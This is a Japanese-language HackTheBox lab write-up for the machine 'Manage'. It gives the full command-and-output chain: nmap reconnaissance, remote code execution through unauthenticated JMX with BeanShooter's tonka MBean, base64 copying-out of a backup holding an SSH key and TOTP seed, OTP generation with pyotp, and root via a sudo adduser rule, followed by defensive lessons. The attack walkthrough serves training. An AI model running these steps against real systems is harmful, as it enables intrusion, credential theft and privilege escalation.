HackTheBox: Manage — 全実行コマンド・実行結果レポート
Nmap スキャン
22/2222(JMX)/8080(Tomcat)
→
22/2222(JMX)/8080(Tomcat)
未認証JMX/RMI
beanshooter enum
→
beanshooter enum
tonka MBeanデプロイ
standard … tonka
→
standard … tonka
tomcat権限RCE
user.txt ✓
→
user.txt ✓
backup.tar.gz漏洩
id_ed25519 + .google_authenticator
→
id_ed25519 + .google_authenticator
TOTPシークレット復元
pyotpでコード生成
→
pyotpでコード生成
SSH useradmin (鍵+OTP)
→
sudo adduser admin
Ubuntu既定でadminグループ付与
→
Ubuntu既定でadminグループ付与
su admin → sudo → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p- --min-rate 2000 10.129.234.57
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 2222/tcp open java-rmi Java RMI 8080/tcp open http-proxy Apache Tomcat 10.1.19 36655/tcp open java-rmi Java RMI (RMIレジストリの動的応答ポート) 39475/tcp open unknown
🚨
ポート2222にJava RMIが開いている。これはTomcatのJMX(Java Management
Extensions)をリモート管理用に公開している典型的な構成であり、未認証JMXは
任意コード実行に直結する既知のリスク。
PHASE 2
JMX/RMI調査 (BeanShooter)
BeanShooterの入手
BASH
# Mavenビルドではなく、GitHub Releasesのprebuilt jarを直接使うのが早い curl -sL -o beanshooter-4.1.0-jar-with-dependencies.jar \ https://github.com/qtc-de/beanshooter/releases/download/v4.1.0/beanshooter-4.1.0-jar-with-dependencies.jar
未認証でMBeanServerへ接続・列挙
BASH
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.129.234.57 2222
RESULT
[+] RMI registry bound names:
[+] - jmxrmi
[+] JMX service:
[+] - MLet: [32mnot registered[0m
[+] - MBean server login: [32mnot required[0m (unauthenticated access)
[+] Registered MBeans:
(多数のCatalina/Tomcat管理用MBeanが一覧表示される)
🚨
“MBean server login: not required” — JMX RMIに認証が一切設定されて
いない。これにより、外部から任意のMBean(MLetなど)を動的にロード・実行できる。
PHASE 3
tonka MBeanデプロイ → RCE → user.txt
tonka(組み込みRCEペイロード)をデプロイ
BASH
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.129.234.57 2222 tonka
RESULT
[+] MBean with object name de.qtc.beanshooter:standard=82590811548642 was successfully deployed.
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=82590811548642 from the MBeanServer.
ℹ️
standard <host> <port> {exec|upload|tonka} はBeanShooterが用意する3種類の
組み込みデプロイ操作の1つ。tonkaはコマンド実行専用の軽量MBean
(TonkaBean)をMLet経由で一時的に読み込み、使い終わったら自動で登録解除する。
デプロイしたtonka MBean経由でコマンド実行
BASH
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 id
RESULT
[+] Invoking the executeCommand method with arguments: [id]
[+] The call was successful
[+] Server response:
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
⚠️
ハマりポイント:
tonka exec はシェルを経由せず
Runtime.exec(String[]) 相当で直接プロセスを起動する。
そのため cat file 2>/dev/null のようなシェルリダイレクトを含めると、
2>/dev/null という文字列がそのまま追加の引数として渡ってしまい
コマンドが壊れる。シェルリダイレクトは一切使わず、素のコマンド+引数のみを渡すこと。
user.txt 取得
BASH
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 cat /opt/tomcat/user.txt
RESULT
[+] Server response:
a86d44c7243b65a9171cf7da3e0bc279
user.txt — tomcat
a86d44c7243b65a9171cf7da3e0bc279
PHASE 4
誰でも読める backup.tar.gz から useradmin の秘密情報を回収
他ユーザーのホーム配下を探索
BASH
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 ls -la /home/useradmin/backups
RESULT
-rw-r--r-- 1 useradmin useradmin ... backup.tar.gz
🚨
backup.tar.gz のパーミッションが 644(world-readable)。tomcatユーザーでも
中身を読める。
base64でファイルをまるごと取り出す(バイナリ安全な持ち出し)
BASH
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka exec 10.129.234.57 2222 base64 -w0 /home/useradmin/backups/backup.tar.gz
RESULT
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 (出力を一部省略)
BASH
# Kali側でbase64デコード+展開 echo "<base64出力>" | base64 -d > backup.tar.gz mkdir backup_extracted && tar xzf backup.tar.gz -C backup_extracted ls -la backup_extracted
RESULT
-r-------- 1 1002 1002 200 .google_authenticator drwxrwxr-x 2 1002 1002 4096 .ssh ├── id_ed25519 ├── id_ed25519.pub └── authorized_keys
✅
useradmin のSSH秘密鍵と Google Authenticator(TOTP)の
シードがまるごと手に入った。
PHASE 5
TOTPコード生成 & 2要素認証SSH
.google_authenticator ファイルの構造
BASH
cat backup_extracted/.google_authenticator
RESULT
CLSSSMHYGLENX5HAIFBQ6L35UM ← 1行目: base32 TOTPシークレット
" RATE_LIMIT 3 30 1718988529
" WINDOW_SIZE 3
" DISALLOW_REUSE
" TOTP_AUTH
12345678
23456789
...(使い捨てバックアップコードが10個)
🚨
重要な注意: 2行目以降にある10個の数字は「緊急用バックアップコード」で
各1回しか使えず、使用すると即座にサーバー側で無効化される。これを闇雲に
試すと10回でロックアウトされてしまう。1行目のbase32文字列こそがTOTPシークレット
本体であり、これを使えば
pyotp等で30秒ごとに新しい正規のワンタイム
コードを無制限に生成できる。
pyotpでワンタイムコードを生成
PYTHON
import pyotp secret = "CLSSSMHYGLENX5HAIFBQ6L35UM" totp = pyotp.TOTP(secret) print(totp.now()) # 現在の6〜8桁ワンタイムコード(30秒ごとに更新)
鍵認証 + TOTPコードでSSHログイン
BASH
chmod 600 backup_extracted/.ssh/id_ed25519 ssh -i backup_extracted/.ssh/id_ed25519 useradmin@10.129.234.57 # (useradmin@10.129.234.57) Verification code: ← ここでpyotp生成コードを入力
RESULT
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-142-generic x86_64)
...
useradmin@manage:~$
✅
SSH鍵認証 + TOTP2段階認証を突破し
useradminとしてログイン成功。
PHASE 6
sudo adduser 悪用 → admin昇格 → root.txt
sudo権限の確認
BASH
useradmin@manage:~$ sudo -l
RESULT
User useradmin may run the following commands on manage:
(ALL) NOPASSWD: /usr/sbin/adduser [a-zA-Z0-9]+
🚨
任意の名前のユーザーを無条件で追加できる(NOPASSWD)。一見無害に見えるが、
Ubuntuの既定動作では「
admin」という名前で adduser すると、自動的に
adminグループ(フルsudo権限を持つグループ)にも追加される仕様がある。
“admin” という名前でユーザーを作成
BASH
useradmin@manage:~$ sudo /usr/sbin/adduser admin
RESULT
Adding user `admin' ... Adding new group `admin' (1003) ... Adding new user `admin' (1003) with group `admin' ... Creating home directory `/home/admin' ... New password: AdminPass123! Retype new password: AdminPass123! passwd: password updated successfully Full Name []: ... Is the information correct? [Y/n] y
ℹ️
対話形式でパスワード・フルネーム等を聞かれるが、すべてEnterで既定値のまま進めてよい
(パスワードだけは自分で指定する任意の値)。
admin へ切り替えて root.txt を取得
BASH
useradmin@manage:~$ su admin Password: AdminPass123! admin@manage:/home/useradmin$ sudo cat /root/root.txt
RESULT
[sudo] password for admin: AdminPass123! b3645b7e6db6d5276ad33f0c75b8dc34
root.txt — root@manage
b3645b7e6db6d5276ad33f0c75b8dc34
✅
root化成功! Ubuntuの
adduserのお作法的な既定動作
(「adminという名前のユーザーはadminグループに自動加入する」)を悪用し、
NOPASSWD: /usr/sbin/adduser という一見無害なsudoルールから完全なroot権限まで
到達した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tomcat
a86d44c7243b65a9171cf7da3e0bc279
root.txt — root@manage
b3645b7e6db6d5276ad33f0c75b8dc34
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 未認証 JMX/RMI | Apache Tomcat JMXリモート管理 (2222) | 任意コマンド実行 (tomcat権限) | Critical | BeanShooterで未認証のMBeanServerにMLet経由で悪性MBean(tonka)をデプロイしてRCE |
| world-readableなバックアップファイル | /home/useradmin/backups/backup.tar.gz | SSH秘密鍵・TOTPシード漏洩 | Medium | 他ユーザーの認証情報一式を含むバックアップに誰でも読み取り権限が付いていた |
| adduserコマンドの危険なNOPASSWD許可 | sudo /usr/sbin/adduser [a-zA-Z0-9]+ | 一般ユーザー→フルsudo権限への昇格 | High | Ubuntuのadduserが「admin」という名前のユーザーを自動的にadminグループへ入れる既定動作を悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 22/2222(JMX)/8080(Tomcat)検出 |
| 2 | JMX調査 | beanshooter enum | 未認証MBeanServerアクセス確認 |
| 3 | RCE | beanshooter standard/tonka | user.txt(tomcat) |
| 4 | 横移動準備 | base64持ち出し+tar展開 | useradmin SSH鍵 + TOTPシード |
| 5 | 認証 | pyotp TOTPコード生成 + SSH | useradmin シェル |
| 6 | 権限昇格 | sudo adduser admin → su → sudo | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Tomcat JMX RMIがネットワーク越しに公開され、かつ認証が設定されていない | JMXリモート管理はlocalhostに限定するか、com.sun.management.jmxremote.authenticate=trueでパスワード認証を必須化する。不要であれば無効化する。 |
| 他ユーザーの認証情報を含むバックアップファイルがworld-readableパーミッション | バックアップファイルは所有者のみ読み取り可能(600/700)に設定し、定期的な権限監査を行う。 |
| sudoで許可したコマンド(adduser)自体の副作用(特定名での自動グループ割当)を考慮していない | sudoで許可するコマンドは引数まで含めて厳密に制限する(adduserのような汎用管理コマンドは
特に危険)。可能であれば専用のラッパースクリプトで安全な操作のみに限定する。 |

